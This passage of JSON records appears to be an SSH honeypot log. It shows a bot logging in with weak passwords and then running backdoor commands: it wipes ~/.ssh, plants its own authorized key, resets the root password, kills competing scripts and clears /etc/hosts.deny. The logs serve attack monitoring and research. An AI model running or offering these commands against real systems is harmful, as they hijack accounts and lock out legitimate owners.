found"}],"credentials":[{"username":"nexus","password":"nexuspass","method":"password","accepted":true,"tier":"other"}]} {"id":"73863ef6-1f6f-4897-af45-1c5a57f6396d","name":"genial-bold-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":39626,"username":"andrey","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":601,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:16:47.678353+00:00","ended_at":"2026-08-26T12:16:48.455967+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2245,"events":[{"seq":1,"at":"2026-08-26T12:16:26.501895+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:16:27.526673+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:16:34.318431+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:16:34.319014+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:16:34.919102+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nNFIzai7So4uS\\nNFIzai7So4uS\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:16:35.927398+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nNFIzai7So4uS\\nNFIzai7So4uS\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:16:36.525564+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:16:36.526023+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:16:37.127609+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:16:38.007060+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:16:38.609125+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:16:39.173665+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:16:40.138918+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:16:40.139212+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:16:40.739868+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:16:40.740745+00:00","kind":"output","latency_ms":null,"data":" 12:16:40 up 6 days, 9:06, 0 user, load average: 0.09, 0.09, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:16:41.740744+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:16:41.741334+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:16:42.341272+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:16:42.341894+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:16:43.349708+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:16:43.350286+00:00","kind":"output","latency_ms":null,"data":"top - 12:16:43 up 6 days, 9:06, 0 user, load average: 0.09, 0.09, 0.1\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:16:43.951247+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:16:43.951803+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:16:44.960613+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:16:44.961521+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:16:45.925105+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:16:45.925613+00:00","kind":"output","latency_ms":null,"data":"andrey"},{"seq":29,"at":"2026-08-26T12:16:46.523731+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:16:47.078128+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:16:47.679258+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:16:48.265901+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"andrey","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"6f072f35-081c-46fb-be60-2d6a843c6c08","name":"craggy-sincere-wombat","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":47494,"username":"andrey","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:16:32.830072+00:00","ended_at":"2026-08-26T12:16:34.129848+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"andrey","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"47ad34cc-c8c0-4493-8888-a8766df6f3aa","name":"lanky-hushed-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":39640,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:16:28.892895+00:00","ended_at":"2026-08-26T12:16:30.076308+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e0c20725-4736-4499-b6ce-c3d0651e2e49","name":"seaward-rapid-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":41226,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":589,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:12:32.222078+00:00","ended_at":"2026-08-26T12:12:33.043134+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T12:12:02.958904+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:12:03.956258+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:12:20.338102+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:12:20.338781+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:12:21.324284+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qAReB74Wichb\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:12:21.910805+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:12:22.499733+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:12:22.500258+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:12:23.089596+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:12:23.657016+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:12:24.248415+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:12:24.754955+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:12:25.344554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:12:25.345268+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:12:25.934237+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:12:25.934836+00:00","kind":"output","latency_ms":null,"data":" 12:12:25 up 6 days, 9:02, 0 user, load average: 0.09, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:12:26.523948+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:12:26.524388+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:12:27.515967+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:12:27.516616+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:12:28.106185+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:12:28.106718+00:00","kind":"output","latency_ms":null,"data":"top - 12:12:28 up 6 days, 9:02, 0 user, load average: 0.09, 0.1, 0.07\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:12:28.696944+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:12:28.697449+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:12:29.292562+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:12:29.295118+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:12:30.456193+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:12:30.456711+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:12:31.046008+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:12:31.635134+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:12:32.223047+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:12:32.858705+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Aq123456","method":"password","accepted":true,"tier":"other"}]} {"id":"c92bd787-1256-4ce1-9202-06b7d76d2279","name":"northern-fringed-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":44978,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:12:12.330843+00:00","ended_at":"2026-08-26T12:13:12.332187+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"da4db525-d8e6-48bc-b1f4-820859632a85","name":"burly-keen-ferret","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":41240,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:12:04.329083+00:00","ended_at":"2026-08-26T12:13:04.328764+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"8e2865dd-2cba-476d-b5b5-8898136f3b4f","name":"keen-valiant-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":38790,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:07:40.767396+00:00","ended_at":"2026-08-26T12:08:40.768070+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"2bdc4220-71aa-430a-96cb-544e7fd8cb53","name":"polar-arctic-peccary","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":55948,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:03:29.686534+00:00","ended_at":"2026-08-26T12:03:37.694031+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"0fa256a4-dff9-468b-b6e1-1eb2a4c41865","name":"lonesome-indigo-bluebird","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":40796,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:03:27.647177+00:00","ended_at":"2026-08-26T12:03:29.496024+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e427bc72-ad3d-4923-a103-13e36ac36c03","name":"distant-gentle-kestrel","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":40790,"username":"kn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:03:24.433584+00:00","ended_at":"2026-08-26T12:03:25.643985+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-26T12:03:24.436064+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:03:25.264401+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"kn","password":"kn","method":"password","accepted":true,"tier":"other"}]} {"id":"9bca49b1-8002-4b0f-82ea-65f7161d36b6","name":"sterling-lanky-gannet","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":59348,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:58:59.810325+00:00","ended_at":"2026-08-26T11:59:08.411789+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"1b029c3a-d150-428b-989c-bad6d8e09846","name":"keen-candid-skylark","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":57168,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:54:38.543852+00:00","ended_at":"2026-08-26T11:54:46.553441+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"849d6e41-f51b-4f72-a621-6dbf69e6d070","name":"sandy-clever-numbat","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":44812,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:50:19.221634+00:00","ended_at":"2026-08-26T11:50:36.091467+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"f7d9723b-5f85-4c76-b6e4-0d452896095e","name":"wooded-amiable-kea","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":36580,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":587,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:46:38.727558+00:00","ended_at":"2026-08-26T11:46:40.939886+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T11:46:02.514596+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:46:03.099609+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:46:19.489160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:46:19.490464+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:46:20.476725+00:00","kind":"input","latency_ms":null,"data":"echo \"root:CROgLom19mUx\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:46:21.064854+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:46:22.052319+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:46:22.629915+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:46:23.216996+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:46:24.229999+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:46:25.218690+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:46:26.560887+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:46:27.151547+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:46:27.803797+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:46:28.391182+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:46:28.657822+00:00","kind":"output","latency_ms":null,"data":" 11:46:28 up 6 days, 8:36, 0 user, load average: 0.2, 0.25, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:46:29.245001+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:46:30.065015+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:46:30.652106+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:46:31.381780+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:46:31.967652+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:46:32.732123+00:00","kind":"output","latency_ms":null,"data":"top - 11:46:32 up 6 days, 8:36, 0 user, load average: 0.2, 0.25, 0.13\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:46:33.318483+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:46:33.860241+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:46:34.450155+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:46:34.959242+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:46:35.546315+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:46:35.809179+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:46:36.794646+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:46:37.782921+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:46:38.728399+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:46:40.132100+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc112233","method":"password","accepted":true,"tier":"other"}]} {"id":"cd7862e3-1a7c-4f9f-8427-fc22a2f0ab38","name":"verdant-wistful-lynx","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":50538,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:46:11.472967+00:00","ended_at":"2026-08-26T11:47:11.472327+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"87d08713-1905-4e61-9a93-bf84cd8383f1","name":"airy-ivory-opossum","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":36596,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:46:03.468777+00:00","ended_at":"2026-08-26T11:47:03.470036+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"5af68a09-f49c-452e-961c-a92307f8d3a6","name":"scarlet-tranquil-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":43750,"username":"bill","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":594,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:42:02.270195+00:00","ended_at":"2026-08-26T11:42:02.954243+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-26T11:41:41.061701+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:41:42.476087+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:41:48.705945+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:41:48.707112+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:41:49.657792+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nQpjsOL3Icnuw\\nQpjsOL3Icnuw\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:41:50.246940+00:00","kind":"input","latency_ms":null,"data":"echo 